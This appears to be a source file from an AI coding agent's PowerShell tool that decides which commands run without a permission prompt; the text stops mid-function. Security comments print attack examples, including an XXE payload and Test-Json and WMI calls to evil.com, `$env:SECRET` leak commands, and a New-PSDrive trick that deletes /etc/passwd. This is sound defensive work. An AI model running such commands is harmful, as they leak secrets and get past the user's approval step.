π File detail
tools/PowerShellTool/readOnlyValidation.ts
π― Use case
This module implements the βPowerShellToolβ tool (Power Shell) β something the model can call at runtime alongside other agent tools. On the API surface it exposes argLeaksValue, CMDLET_ALLOWLIST, resolveToCanonical, isCwdChangingCmdlet, and isSafeOutputCommand (and more) β mainly functions, hooks, or classes. It composes internal code from utils and commonParameters (relative imports). What the file header says: PowerShell read-only command validation. Cmdlets are case-insensitive; all matching is done in lowercase.
Generated from folder role, exports, dependency roots, and inline comments β not hand-reviewed for every path.
π§ Inline summary
PowerShell read-only command validation. Cmdlets are case-insensitive; all matching is done in lowercase.
π€ Exports (heuristic)
argLeaksValueCMDLET_ALLOWLISTresolveToCanonicalisCwdChangingCmdletisSafeOutputCommandisAllowlistedPipelineTailisProvablySafeStatementhasSyncSecurityConcernsisReadOnlyCommandisAllowlistedCommand
π₯οΈ Source preview
/**
* PowerShell read-only command validation.
*
* Cmdlets are case-insensitive; all matching is done in lowercase.
*/
import type {
ParsedCommandElement,
ParsedPowerShellCommand,
} from '../../utils/powershell/parser.js'
type ParsedStatement = ParsedPowerShellCommand['statements'][number]
import { getPlatform } from '../../utils/platform.js'
import {
COMMON_ALIASES,
deriveSecurityFlags,
getPipelineSegments,
isNullRedirectionTarget,
isPowerShellParameter,
} from '../../utils/powershell/parser.js'
import type { ExternalCommandConfig } from '../../utils/shell/readOnlyCommandValidation.js'
import {
DOCKER_READ_ONLY_COMMANDS,
EXTERNAL_READONLY_COMMANDS,
GH_READ_ONLY_COMMANDS,
GIT_READ_ONLY_COMMANDS,
validateFlags,
} from '../../utils/shell/readOnlyCommandValidation.js'
import { COMMON_PARAMETERS } from './commonParameters.js'
const DOTNET_READ_ONLY_FLAGS = new Set([
'--version',
'--info',
'--list-runtimes',
'--list-sdks',
])
type CommandConfig = {
/** Safe subcommands or flags for this command */
safeFlags?: string[]
/**
* When true, all flags are allowed regardless of safeFlags.
* Use for commands whose entire flag surface is read-only (e.g., hostname).
* Without this, an empty/missing safeFlags rejects all flags (positional
* args only).
*/
allowAllFlags?: boolean
/** Regex constraint on the original command */
regex?: RegExp
/** Additional validation callback - returns true if command is dangerous */
additionalCommandIsDangerousCallback?: (
command: string,
element?: ParsedCommandElement,
) => boolean
}
/**
* Shared callback for cmdlets that print or coerce their args to stdout/
* stderr. `Write-Output $env:SECRET` prints it directly; `Start-Sleep
* $env:SECRET` leaks via type-coerce error ("Cannot convert value 'sk-...'
* to System.Double"). Bash's echo regex WHITELISTS safe chars per token.
*
* Two checks:
* 1. elementTypes whitelist β StringConstant (literals) + Parameter (flag
* names). Rejects Variable, Other (HashtableAst/ConvertExpressionAst/
* BinaryExpressionAst all map to Other), ScriptBlock, SubExpression,
* ExpandableString. Same pattern as SAFE_PATH_ELEMENT_TYPES.
* 2. Colon-bound parameter value β `-InputObject:$env:SECRET` creates a
* SINGLE CommandParameterAst; the VariableExpressionAst is its .Argument
* child, not a separate CommandElement. elementTypes = [..., 'Parameter'],
* whitelist passes. Query children[] for the .Argument's mapped type;
* anything other than StringConstant (Variable, ParenExpression wrapping
* arbitrary pipelines, Hashtable, etc.) is a leak vector.
*/
export function argLeaksValue(
_cmd: string,
element?: ParsedCommandElement,
): boolean {
const argTypes = (element?.elementTypes ?? []).slice(1)
const args = element?.args ?? []
const children = element?.children
for (let i = 0; i < argTypes.length; i++) {
if (argTypes[i] !== 'StringConstant' && argTypes[i] !== 'Parameter') {
// ArrayLiteralAst (`Select-Object Name, Id`) maps to 'Other' β the
// parse script only populates children for CommandParameterAst.Argument,
// so we can't inspect elements. Fall back to string-archaeology on the
// extent text: Hashtable has `@{`, ParenExpr has `(`, variables have
// `$`, type literals have `[`, scriptblocks have `{`. A comma-list of
// bare identifiers has none. `Name, $x` still rejects on `$`.
if (!/[$(@{[]/.test(args[i] ?? '')) {
continue
}
return true
}
if (argTypes[i] === 'Parameter') {
const paramChildren = children?.[i]
if (paramChildren) {
if (paramChildren.some(c => c.type !== 'StringConstant')) {
return true
}
} else {
// Fallback: string-archaeology on arg text (pre-children parsers).
// Reject `$` (variable), `(` (ParenExpressionAst), `@` (hash/array
// sub), `{` (scriptblock), `[` (type literal/static method).
const arg = args[i] ?? ''
const colonIdx = arg.indexOf(':')
if (colonIdx > 0 && /[$(@{[]/.test(arg.slice(colonIdx + 1))) {
return true
}
}
}
}
return false
}
/**
* Allowlist of PowerShell cmdlets that are considered read-only.
* Each cmdlet maps to its configuration including safe flags.
*
* Note: PowerShell cmdlets are case-insensitive, so we store keys in lowercase
* and normalize input for matching.
*
* Uses Object.create(null) to prevent prototype-chain pollution β attacker-
* controlled command names like 'constructor' or '__proto__' must return
* undefined, not inherited Object.prototype properties. Same defense as
* COMMON_ALIASES in parser.ts.
*/
export const CMDLET_ALLOWLIST: Record<string, CommandConfig> = Object.assign(
Object.create(null) as Record<string, CommandConfig>,
{
// =========================================================================
// PowerShell Cmdlets - Filesystem (read-only)
// =========================================================================
'get-childitem': {
safeFlags: [
'-Path',
'-LiteralPath',
'-Filter',
'-Include',
'-Exclude',
'-Recurse',
'-Depth',
'-Name',
'-Force',
'-Attributes',
'-Directory',
'-File',
'-Hidden',
'-ReadOnly',
'-System',
],
},
'get-content': {
safeFlags: [
'-Path',
'-LiteralPath',
'-TotalCount',
'-Head',
'-Tail',
'-Raw',
'-Encoding',
'-Delimiter',
'-ReadCount',
],
},
'get-item': {
safeFlags: ['-Path', '-LiteralPath', '-Force', '-Stream'],
},
'get-itemproperty': {
safeFlags: ['-Path', '-LiteralPath', '-Name'],
},
'test-path': {
safeFlags: [
'-Path',
'-LiteralPath',
'-PathType',
'-Filter',
'-Include',
'-Exclude',
'-IsValid',
'-NewerThan',
'-OlderThan',
],
},
'resolve-path': {
safeFlags: ['-Path', '-LiteralPath', '-Relative'],
},
'get-filehash': {
safeFlags: ['-Path', '-LiteralPath', '-Algorithm', '-InputStream'],
},
'get-acl': {
safeFlags: [
'-Path',
'-LiteralPath',
'-Audit',
'-Filter',
'-Include',
'-Exclude',
],
},
// =========================================================================
// PowerShell Cmdlets - Navigation (read-only, just changes working directory)
// =========================================================================
'set-location': {
safeFlags: ['-Path', '-LiteralPath', '-PassThru', '-StackName'],
},
'push-location': {
safeFlags: ['-Path', '-LiteralPath', '-PassThru', '-StackName'],
},
'pop-location': {
safeFlags: ['-PassThru', '-StackName'],
},
// =========================================================================
// PowerShell Cmdlets - Text searching/filtering (read-only)
// =========================================================================
'select-string': {
safeFlags: [
'-Path',
'-LiteralPath',
'-Pattern',
'-InputObject',
'-SimpleMatch',
'-CaseSensitive',
'-Quiet',
'-List',
'-NotMatch',
'-AllMatches',
'-Encoding',
'-Context',
'-Raw',
'-NoEmphasis',
],
},
// =========================================================================
// PowerShell Cmdlets - Data conversion (pure transforms, no side effects)
// =========================================================================
'convertto-json': {
safeFlags: [
'-InputObject',
'-Depth',
'-Compress',
'-EnumsAsStrings',
'-AsArray',
],
},
'convertfrom-json': {
safeFlags: ['-InputObject', '-Depth', '-AsHashtable', '-NoEnumerate'],
},
'convertto-csv': {
safeFlags: [
'-InputObject',
'-Delimiter',
'-NoTypeInformation',
'-NoHeader',
'-UseQuotes',
],
},
'convertfrom-csv': {
safeFlags: ['-InputObject', '-Delimiter', '-Header', '-UseCulture'],
},
'convertto-xml': {
safeFlags: ['-InputObject', '-Depth', '-As', '-NoTypeInformation'],
},
'convertto-html': {
safeFlags: [
'-InputObject',
'-Property',
'-Head',
'-Title',
'-Body',
'-Pre',
'-Post',
'-As',
'-Fragment',
],
},
'format-hex': {
safeFlags: [
'-Path',
'-LiteralPath',
'-InputObject',
'-Encoding',
'-Count',
'-Offset',
],
},
// =========================================================================
// PowerShell Cmdlets - Object inspection and manipulation (read-only)
// =========================================================================
'get-member': {
safeFlags: [
'-InputObject',
'-MemberType',
'-Name',
'-Static',
'-View',
'-Force',
],
},
'get-unique': {
safeFlags: ['-InputObject', '-AsString', '-CaseInsensitive', '-OnType'],
},
'compare-object': {
safeFlags: [
'-ReferenceObject',
'-DifferenceObject',
'-Property',
'-SyncWindow',
'-CaseSensitive',
'-Culture',
'-ExcludeDifferent',
'-IncludeEqual',
'-PassThru',
],
},
// SECURITY: select-xml REMOVED. XML external entity (XXE) resolution can
// trigger network requests via DOCTYPE SYSTEM/PUBLIC references in -Content
// or -Xml. `Select-Xml -Content '<!DOCTYPE x [<!ENTITY e SYSTEM
// "http://evil.com/x">]><x>&e;</x>' -XPath '/'` sends a GET request.
// PowerShell's XmlDocument.LoadXml doesn't disable entity resolution by
// default. Removal forces prompt.
'join-string': {
safeFlags: [
'-InputObject',
'-Property',
'-Separator',
'-OutputPrefix',
'-OutputSuffix',
'-SingleQuote',
'-DoubleQuote',
'-FormatString',
],
},
// SECURITY: Test-Json REMOVED. -Schema (positional 1) accepts JSON Schema
// with $ref pointing to external URLs β Test-Json fetches them (network
// request). safeFlags only validates EXPLICIT flags, not positional binding:
// `Test-Json '{}' '{"$ref":"http://evil.com"}'` β position 1 binds to
// -Schema β safeFlags check sees two non-flag args, skips both β auto-allow.
'get-random': {
safeFlags: [
'-InputObject',
'-Minimum',
'-Maximum',
'-Count',
'-SetSeed',
'-Shuffle',
],
},
// =========================================================================
// PowerShell Cmdlets - Path utilities (read-only)
// =========================================================================
// convert-path's entire purpose is to resolve filesystem paths. It is now
// in CMDLET_PATH_CONFIG for proper path validation, so safeFlags here only
// list the path parameters (which CMDLET_PATH_CONFIG will validate).
'convert-path': {
safeFlags: ['-Path', '-LiteralPath'],
},
'join-path': {
// -Resolve removed: it touches the filesystem to verify the joined path
// exists, but the path was not validated against allowed directories.
// Without -Resolve, Join-Path is pure string manipulation.
safeFlags: ['-Path', '-ChildPath', '-AdditionalChildPath'],
},
'split-path': {
// -Resolve removed: same rationale as join-path. Without -Resolve,
// Split-Path is pure string manipulation.
safeFlags: [
'-Path',
'-LiteralPath',
'-Qualifier',
'-NoQualifier',
'-Parent',
'-Leaf',
'-LeafBase',
'-Extension',
'-IsAbsolute',
],
},
// =========================================================================
// PowerShell Cmdlets - Additional system info (read-only)
// =========================================================================
// NOTE: Get-Clipboard is intentionally NOT included - it can expose sensitive
// data like passwords or API keys that the user may have copied. Bash also
// does not auto-allow clipboard commands (pbpaste, xclip, etc.).
'get-hotfix': {
safeFlags: ['-Id', '-Description'],
},
'get-itempropertyvalue': {
safeFlags: ['-Path', '-LiteralPath', '-Name'],
},
'get-psprovider': {
safeFlags: ['-PSProvider'],
},
// =========================================================================
// PowerShell Cmdlets - Process/System info
// =========================================================================
'get-process': {
safeFlags: [
'-Name',
'-Id',
'-Module',
'-FileVersionInfo',
'-IncludeUserName',
],
},
'get-service': {
safeFlags: [
'-Name',
'-DisplayName',
'-DependentServices',
'-RequiredServices',
'-Include',
'-Exclude',
],
},
'get-computerinfo': {
allowAllFlags: true,
},
'get-host': {
allowAllFlags: true,
},
'get-date': {
safeFlags: ['-Date', '-Format', '-UFormat', '-DisplayHint', '-AsUTC'],
},
'get-location': {
safeFlags: ['-PSProvider', '-PSDrive', '-Stack', '-StackName'],
},
'get-psdrive': {
safeFlags: ['-Name', '-PSProvider', '-Scope'],
},
// SECURITY: Get-Command REMOVED from allowlist. -Name (positional 0,
// ValueFromPipeline=true) triggers module autoload which runs .psm1 init
// code. Chain attack: pre-plant module in PSModulePath, trigger autoload.
// Previously tried removing -Name/-Module from safeFlags + rejecting
// positional StringConstant, but pipeline input (`'EvilCmdlet' | Get-Command`)
// bypasses the callback entirely since args are empty. Removal forces
// prompt. Users who need it can add explicit allow rule.
'get-module': {
safeFlags: [
'-Name',
'-ListAvailable',
'-All',
'-FullyQualifiedName',
'-PSEdition',
],
},
// SECURITY: Get-Help REMOVED from allowlist. Same module autoload hazard
// as Get-Command (-Name has ValueFromPipeline=true, pipeline input bypasses
// arg-level callback). Removal forces prompt.
'get-alias': {
safeFlags: ['-Name', '-Definition', '-Scope', '-Exclude'],
},
'get-history': {
safeFlags: ['-Id', '-Count'],
},
'get-culture': {
allowAllFlags: true,
},
'get-uiculture': {
allowAllFlags: true,
},
'get-timezone': {
safeFlags: ['-Name', '-Id', '-ListAvailable'],
},
'get-uptime': {
allowAllFlags: true,
},
// =========================================================================
// PowerShell Cmdlets - Output & misc (no side effects)
// =========================================================================
// Bash parity: `echo` is auto-allowed via custom regex (BashTool
// readOnlyValidation.ts:~1517). That regex WHITELISTS safe chars per arg.
// See argLeaksValue above for the three attack shapes it blocks.
'write-output': {
safeFlags: ['-InputObject', '-NoEnumerate'],
additionalCommandIsDangerousCallback: argLeaksValue,
},
// Write-Host bypasses the pipeline (Information stream, PS5+), so it's
// strictly less capable than Write-Output β but the same
// `Write-Host $env:SECRET` leak-via-display applies.
'write-host': {
safeFlags: [
'-Object',
'-NoNewline',
'-Separator',
'-ForegroundColor',
'-BackgroundColor',
],
additionalCommandIsDangerousCallback: argLeaksValue,
},
// Bash parity: `sleep` is in READONLY_COMMANDS (BashTool
// readOnlyValidation.ts:~1146). Zero side effects at runtime β but
// `Start-Sleep $env:SECRET` leaks via type-coerce error. Same guard.
'start-sleep': {
safeFlags: ['-Seconds', '-Milliseconds', '-Duration'],
additionalCommandIsDangerousCallback: argLeaksValue,
},
// Format-* and Measure-Object moved here from SAFE_OUTPUT_CMDLETS after
// security review found all accept calculated-property hashtables (same
// exploit as Where-Object β I4 regression). isSafeOutputCommand is a
// NAME-ONLY check that filtered them out of the approval loop BEFORE arg
// validation. Here, argLeaksValue validates args:
// | Format-Table β no args β safe β allow
// | Format-Table Name, CPU β StringConstant positionals β safe β allow
// | Format-Table $env:SECRET β Variable elementType β blocked β passthrough
// | Format-Table @{N='x';E={}} β Other (HashtableAst) β blocked β passthrough
// | Measure-Object -Property $env:SECRET β same β blocked
// allowAllFlags: argLeaksValue validates arg elementTypes (Variable/Hashtable/
// ScriptBlock β blocked). Format-* flags themselves (-AutoSize, -GroupBy,
// -Wrap, etc.) are display-only. Without allowAllFlags, the empty-safeFlags
// default rejects ALL flags β `Format-Table -AutoSize` would over-prompt.
'format-table': {
allowAllFlags: true,
additionalCommandIsDangerousCallback: argLeaksValue,
},
'format-list': {
allowAllFlags: true,
additionalCommandIsDangerousCallback: argLeaksValue,
},
'format-wide': {
allowAllFlags: true,
additionalCommandIsDangerousCallback: argLeaksValue,
},
'format-custom': {
allowAllFlags: true,
additionalCommandIsDangerousCallback: argLeaksValue,
},
'measure-object': {
allowAllFlags: true,
additionalCommandIsDangerousCallback: argLeaksValue,
},
// Select-Object/Sort-Object/Group-Object/Where-Object: same calculated-
// property hashtable surface as format-* (about_Calculated_Properties).
// Removed from SAFE_OUTPUT_CMDLETS but previously missing here, causing
// `Get-Process | Select-Object Name` to over-prompt. argLeaksValue handles
// them identically: StringConstant property names pass (`Select-Object Name`),
// HashtableAst/ScriptBlock/Variable args block (`Select-Object @{N='x';E={...}}`,
// `Where-Object { ... }`). allowAllFlags: -First/-Last/-Skip/-Descending/
// -Property/-EQ etc. are all selection/ordering flags β harmless on their own;
// argLeaksValue catches the dangerous arg *values*.
'select-object': {
allowAllFlags: true,
additionalCommandIsDangerousCallback: argLeaksValue,
},
'sort-object': {
allowAllFlags: true,
additionalCommandIsDangerousCallback: argLeaksValue,
},
'group-object': {
allowAllFlags: true,
additionalCommandIsDangerousCallback: argLeaksValue,
},
'where-object': {
allowAllFlags: true,
additionalCommandIsDangerousCallback: argLeaksValue,
},
// Out-String/Out-Host moved here from SAFE_OUTPUT_CMDLETS β both accept
// -InputObject which leaks the same way Write-Output does.
// `Get-Process | Out-String -InputObject $env:SECRET` β secret prints.
// allowAllFlags: -Width/-Stream/-Paging/-NoNewline are display flags;
// argLeaksValue catches the dangerous -InputObject *value*.
'out-string': {
allowAllFlags: true,
additionalCommandIsDangerousCallback: argLeaksValue,
},
'out-host': {
allowAllFlags: true,
additionalCommandIsDangerousCallback: argLeaksValue,
},
// =========================================================================
// PowerShell Cmdlets - Network info (read-only)
// =========================================================================
'get-netadapter': {
safeFlags: [
'-Name',
'-InterfaceDescription',
'-InterfaceIndex',
'-Physical',
],
},
'get-netipaddress': {
safeFlags: [
'-InterfaceIndex',
'-InterfaceAlias',
'-AddressFamily',
'-Type',
],
},
'get-netipconfiguration': {
safeFlags: ['-InterfaceIndex', '-InterfaceAlias', '-Detailed', '-All'],
},
'get-netroute': {
safeFlags: [
'-InterfaceIndex',
'-InterfaceAlias',
'-AddressFamily',
'-DestinationPrefix',
],
},
'get-dnsclientcache': {
// SECURITY: -CimSession/-ThrottleLimit excluded. -CimSession connects to
// a remote host (network request). Previously empty config = all flags OK.
safeFlags: ['-Entry', '-Name', '-Type', '-Status', '-Section', '-Data'],
},
'get-dnsclient': {
safeFlags: ['-InterfaceIndex', '-InterfaceAlias'],
},
// =========================================================================
// PowerShell Cmdlets - Event log (read-only)
// =========================================================================
'get-eventlog': {
safeFlags: [
'-LogName',
'-Newest',
'-After',
'-Before',
'-EntryType',
'-Index',
'-InstanceId',
'-Message',
'-Source',
'-UserName',
'-AsBaseObject',
'-List',
],
},
'get-winevent': {
// SECURITY: -FilterXml/-FilterHashtable removed. -FilterXml accepts XML
// with DOCTYPE external entities (XXE β network request). -FilterHashtable
// would be caught by the elementTypes 'Other' check since @{} is
// HashtableAst, but removal is explicit. Same XXE hazard as Select-Xml
// (removed above). -FilterXPath kept (string pattern only, no entity
// resolution). -ComputerName/-Credential also implicitly excluded.
safeFlags: [
'-LogName',
'-ListLog',
'-ListProvider',
'-ProviderName',
'-Path',
'-MaxEvents',
'-FilterXPath',
'-Force',
'-Oldest',
],
},
// =========================================================================
// PowerShell Cmdlets - WMI/CIM
// =========================================================================
// SECURITY: Get-WmiObject and Get-CimInstance REMOVED. They actively
// trigger network requests via classes like Win32_PingStatus (sends ICMP
// when enumerated) and can query remote computers via -ComputerName/
// CimSession. -Class/-ClassName/-Filter/-Query accept arbitrary WMI
// classes/WQL that we cannot statically validate.
// PoC: Get-WmiObject -Class Win32_PingStatus -Filter 'Address="evil.com"'
// β sends ICMP to evil.com (DNS leak + potential NTLM auth leak).
// WMI can also auto-load provider DLLs (init code). Removal forces prompt.
// get-cimclass stays β only lists class metadata, no instance enumeration.
'get-cimclass': {
safeFlags: [
'-ClassName',
'-Namespace',
'-MethodName',
'-PropertyName',
'-QualifierName',
],
},
// =========================================================================
// Git - uses shared external command validation with per-flag checking
// =========================================================================
git: {},
// =========================================================================
// GitHub CLI (gh) - uses shared external command validation
// =========================================================================
gh: {},
// =========================================================================
// Docker - uses shared external command validation
// =========================================================================
docker: {},
// =========================================================================
// Windows-specific system commands
// =========================================================================
ipconfig: {
// SECURITY: On macOS, `ipconfig set <iface> <mode>` configures network
// (writes system config). safeFlags only validates FLAGS, positional args
// are SKIPPED. Reject any positional argument β only bare `ipconfig` or
// `ipconfig /all` (read-only display) allowed. Windows ipconfig only uses
// /flags (display), macOS ipconfig uses subcommands (get/set/waitall).
safeFlags: ['/all', '/displaydns', '/allcompartments'],
additionalCommandIsDangerousCallback: (
_cmd: string,
element?: ParsedCommandElement,
) => {
return (element?.args ?? []).some(
a => !a.startsWith('/') && !a.startsWith('-'),
)
},
},
netstat: {
safeFlags: [
'-a',
'-b',
'-e',
'-f',
'-n',
'-o',
'-p',
'-q',
'-r',
'-s',
'-t',
'-x',
'-y',
],
},
systeminfo: {
safeFlags: ['/FO', '/NH'],
},
tasklist: {
safeFlags: ['/M', '/SVC', '/V', '/FI', '/FO', '/NH'],
},
// where.exe: Windows PATH locator, bash `which` equivalent. Reaches here via
// SAFE_EXTERNAL_EXES bypass at the nameType gate in isAllowlistedCommand.
// All flags are read-only (/R /F /T /Q), matching bash's treatment of `which`
// in BashTool READONLY_COMMANDS.
'where.exe': {
allowAllFlags: true,
},
hostname: {
// SECURITY: `hostname NAME` on Linux/macOS SETS the hostname (writes to
// system config). `hostname -F FILE` / `--file=FILE` also sets from file.
// Only allow bare `hostname` and known read-only flags.
safeFlags: ['-a', '-d', '-f', '-i', '-I', '-s', '-y', '-A'],
additionalCommandIsDangerousCallback: (
_cmd: string,
element?: ParsedCommandElement,
) => {
// Reject any positional (non-flag) argument β sets hostname.
return (element?.args ?? []).some(a => !a.startsWith('-'))
},
},
whoami: {
safeFlags: [
'/user',
'/groups',
'/claims',
'/priv',
'/logonid',
'/all',
'/fo',
'/nh',
],
},
ver: {
allowAllFlags: true,
},
arp: {
safeFlags: ['-a', '-g', '-v', '-N'],
},
route: {
safeFlags: ['print', 'PRINT', '-4', '-6'],
additionalCommandIsDangerousCallback: (
_cmd: string,
element?: ParsedCommandElement,
) => {
// SECURITY: route.exe syntax is `route [-f] [-p] [-4|-6] VERB [args...]`.
// The first non-flag positional is the verb. `route add 10.0.0.0 mask
// 255.0.0.0 192.168.1.1 print` adds a route (print is a trailing display
// modifier). The old check used args.some('print') which matched 'print'
// anywhere β position-insensitive.
if (!element) {
return true
}
const verb = element.args.find(a => !a.startsWith('-'))
return verb?.toLowerCase() !== 'print'
},
},
// netsh: intentionally NOT allowlisted. Three rounds of denylist gaps in PR
// #22060 (verb position β dash flags β slash flags β more verbs) proved
// the grammar is too complex to allowlist safely: 3-deep context nesting
// (`netsh interface ipv4 show addresses`), dual-prefix flags (-f / /f),
// script execution via -f and `exec`, remote RPC via -r, offline-mode
// commit, wlan connect/disconnect, etc. Each denylist expansion revealed
// another gap. `route` stays β `route print` is the only read-only form,
// simple single-verb-position grammar.
getmac: {
safeFlags: ['/FO', '/NH', '/V'],
},
// =========================================================================
// Cross-platform CLI tools
// =========================================================================
// File inspection
// SECURITY: file -C compiles a magic database and WRITES to disk. Only
// allow introspection flags; reject -C / --compile / -m / --magic-file.
file: {
safeFlags: [
'-b',
'--brief',
'-i',
'--mime',
'-L',
'--dereference',
'--mime-type',
'--mime-encoding',
'-z',
'--uncompress',
'-p',
'--preserve-date',
'-k',
'--keep-going',
'-r',
'--raw',
'-v',
'--version',
'-0',
'--print0',
'-s',
'--special-files',
'-l',
'-F',
'--separator',
'-e',
'-P',
'-N',
'--no-pad',
'-E',
'--extension',
],
},
tree: {
safeFlags: ['/F', '/A', '/Q', '/L'],
},
findstr: {
safeFlags: [
'/B',
'/E',
'/L',
'/R',
'/S',
'/I',
'/X',
'/V',
'/N',
'/M',
'/O',
'/P',
// Flag matching strips ':' before comparison (e.g., /C:pattern β /C),
// so these entries must NOT include the trailing colon.
'/C',
'/G',
'/D',
'/A',
],
},
// =========================================================================
// Package managers - uses shared external command validation
// =========================================================================
dotnet: {},
// SECURITY: man and help direct entries REMOVED. They aliased Get-Help
// (also removed β see above). Without these entries, lookupAllowlist
// resolves via COMMON_ALIASES to 'get-help' which is not in allowlist β
// prompt. Same module-autoload hazard as Get-Help.
},
)
/**
* Safe output/formatting cmdlets that can receive piped input.
* Stored as canonical cmdlet names in lowercase.
*/
const SAFE_OUTPUT_CMDLETS = new Set([
'out-null',
// NOT out-string/out-host β both accept -InputObject which leaks args the
// same way Write-Output does. Moved to CMDLET_ALLOWLIST with argLeaksValue.
// `Get-Process | Out-String -InputObject $env:SECRET` β Out-String was
// filtered name-only, the $env arg was never validated.
// out-null stays: it discards everything, no -InputObject leak.
// NOT foreach-object / where-object / select-object / sort-object /
// group-object / format-table / format-list / format-wide / format-custom /
// measure-object β ALL accept calculated-property hashtables or script-block
// predicates that evaluate arbitrary expressions at runtime
// (about_Calculated_Properties). Examples:
// Where-Object @{k=$env:SECRET} β HashtableAst arg, 'Other' elementType
// Select-Object @{N='x';E={...}} β calculated property scriptblock
// Format-Table $env:SECRET β positional -Property, prints as header
// Measure-Object -Property $env:SECRET β leaks via "property 'sk-...' not found"
// ForEach-Object { $env:PATH='e' } β arbitrary script body
// isSafeOutputCommand is a NAME-ONLY check β step-5 filters these out of
// the approval loop BEFORE arg validation runs. With them here, an
// all-safe-output tail auto-allows on empty subCommands regardless of
// what the arg contains. Removing them forces the tail through arg-level
// validation (hashtable is 'Other' elementType β fails the whitelist at
// isAllowlistedCommand β ask; bare $var is 'Variable' β same).
//
// NOT write-output β pipeline-initial $env:VAR is a VariableExpressionAst,
// skipped by getSubCommandsForPermissionCheck (non-CommandAst). With
// write-output here, `$env:SECRET | Write-Output` β WO filtered as
// safe-output β empty subCommands β auto-allow β secret prints. The
// CMDLET_ALLOWLIST entry handles direct `Write-Output 'literal'`.
])
/**
* Cmdlets moved from SAFE_OUTPUT_CMDLETS to CMDLET_ALLOWLIST with
* argLeaksValue. These are pipeline-tail transformers (Format-*,
* Measure-Object, Select-Object, etc.) that were previously name-only
* filtered as safe-output. They now require arg validation (argLeaksValue
* blocks calculated-property hashtables / scriptblocks / variable args).
*
* Used by isAllowlistedPipelineTail for the narrow fallback in
* checkPermissionMode and isReadOnlyCommand β these callers need the same
* "skip harmless pipeline tail" behavior as SAFE_OUTPUT_CMDLETS but with
* the argLeaksValue guard.
*/
const PIPELINE_TAIL_CMDLETS = new Set([
'format-table',
'format-list',
'format-wide',
'format-custom',
'measure-object',
'select-object',
'sort-object',
'group-object',
'where-object',
'out-string',
'out-host',
])
/**
* External .exe names allowed past the nameType='application' gate.
*
* classifyCommandName returns 'application' for any name containing a dot,
* which the nameType gate at isAllowlistedCommand rejects before allowlist
* lookup. That gate exists to block scripts\Get-Process β stripModulePrefix β
* cmd.name='Get-Process' spoofing. But it also catches benign PATH-resolved
* .exe names like where.exe (bash `which` equivalent β pure read, no dangerous
* flags).
*
* SECURITY: the bypass checks the raw first token of cmd.text, NOT cmd.name.
* stripModulePrefix collapses scripts\where.exe β cmd.name='where.exe', but
* cmd.text preserves the raw 'scripts\where.exe ...'. Matching cmd.text's
* first token defeats that spoofing β only a bare `where.exe` (PATH lookup)
* gets through.
*
* Each entry here MUST have a matching CMDLET_ALLOWLIST entry for flag
* validation.
*/
const SAFE_EXTERNAL_EXES = new Set(['where.exe'])
/**
* Windows PATHEXT extensions that PowerShell resolves via PATH lookup.
* `git.exe`, `git.cmd`, `git.bat`, `git.com` all invoke git at runtime and
* must resolve to the same canonical name so git-safety guards fire.
* .ps1 is intentionally excluded β a script named git.ps1 is not the git
* binary and does not trigger git's hook mechanism.
*/
const WINDOWS_PATHEXT = /\.(exe|cmd|bat|com)$/
/**
* Resolves a command name to its canonical cmdlet name using COMMON_ALIASES.
* Strips Windows executable extensions (.exe, .cmd, .bat, .com) from path-free
* names so e.g. `git.exe` canonicalises to `git` and triggers git-safety
* guards (powershellPermissions.ts hasGitSubCommand). SECURITY: only strips
* when the name has no path separator β `scripts\git.exe` is a relative path
* (runs a local script, not PATH-resolved git) and must NOT canonicalise to
* `git`. Returns lowercase canonical name.
*/
export function resolveToCanonical(name: string): string {
let lower = name.toLowerCase()
// Only strip PATHEXT on bare names β paths run a specific file, not the
// PATH-resolved executable the guards are protecting against.
if (!lower.includes('\\') && !lower.includes('/')) {
lower = lower.replace(WINDOWS_PATHEXT, '')
}
const alias = COMMON_ALIASES[lower]
if (alias) {
return alias.toLowerCase()
}
return lower
}
/**
* Checks if a command name (after alias resolution) alters the path-resolution
* namespace for subsequent statements in the same compound command.
*
* Covers TWO classes:
* 1. Cwd-changing cmdlets: Set-Location, Push-Location, Pop-Location (and
* aliases cd, sl, chdir, pushd, popd). Subsequent relative paths resolve
* from the new cwd.
* 2. PSDrive-creating cmdlets: New-PSDrive (and aliases ndr, mount on Windows).
* Subsequent drive-prefixed paths (p:/foo) resolve via the new drive root,
* not via the filesystem. Finding #21: `New-PSDrive -Name p -Root /etc;
* Remove-Item p:/passwd` β the validator cannot know p: maps to /etc.
*
* Any compound containing one of these cannot have its later statements'
* relative/drive-prefixed paths validated against the stale validator cwd.
*
* Name kept for BashTool parity (isCwdChangingCmdlet β compoundCommandHasCd);
* semantically this is "alters path-resolution namespace".
*/
export function isCwdChangingCmdlet(name: string): boolean {
const canonical = resolveToCanonical(name)
return (
canonical === 'set-location' ||
canonical === 'push-location' ||
canonical === 'pop-location' ||
// New-PSDrive creates a drive mapping that redirects <name>:/... paths
// to an arbitrary filesystem root. Aliases ndr/mount are not in
// COMMON_ALIASES β check them explicitly (finding #21).
canonical === 'new-psdrive' ||
// ndr/mount are PS aliases for New-PSDrive on Windows only. On POSIX,
// 'mount' is the native mount(8) command; treating it as PSDrive-creating
// would false-positive. (bug #15 / review nit)
(getPlatform() === 'windows' &&
(canonical === 'ndr' || canonical === 'mount'))
)
}
/**
* Checks if a command name (after alias resolution) is a safe output cmdlet.
*/
export function isSafeOutputCommand(name: string): boolean {
const canonical = resolveToCanonical(name)
return SAFE_OUTPUT_CMDLETS.has(canonical)
}
/**
* Checks if a command element is a pipeline-tail transformer that was moved
* from SAFE_OUTPUT_CMDLETS to CMDLET_ALLOWLIST (PIPELINE_TAIL_CMDLETS set)
* AND passes its argLeaksValue guard via isAllowlistedCommand.
*
* Narrow fallback for isSafeOutputCommand call sites that need to keep the
* "skip harmless pipeline tail" behavior for Format-Table / Select-Object / etc.
* Does NOT match the full CMDLET_ALLOWLIST β only the migrated transformers.
*/
export function isAllowlistedPipelineTail(
cmd: ParsedCommandElement,
originalCommand: string,
): boolean {
const canonical = resolveToCanonical(cmd.name)
if (!PIPELINE_TAIL_CMDLETS.has(canonical)) {
return false
}
return isAllowlistedCommand(cmd, originalCommand)
}
/**
* Fail-closed gate for read-only auto-allow. Returns true ONLY for a
* PipelineAst where every element is a CommandAst β the one statement
* shape we can fully validate. Everything else (assignments, control
* flow, expression sources, chain operators) defaults to false.
*
* Single code path to true. New AST types added to PowerShell fall
* through to false by construction.
*/
export function isProvablySafeStatement(stmt: ParsedStatement): boolean {
if (stmt.statementType !== 'PipelineAst') return false
// Empty commands β vacuously passes the loop below. PowerShell's
// parser guarantees PipelineAst.PipelineElements β₯ 1 for valid source,
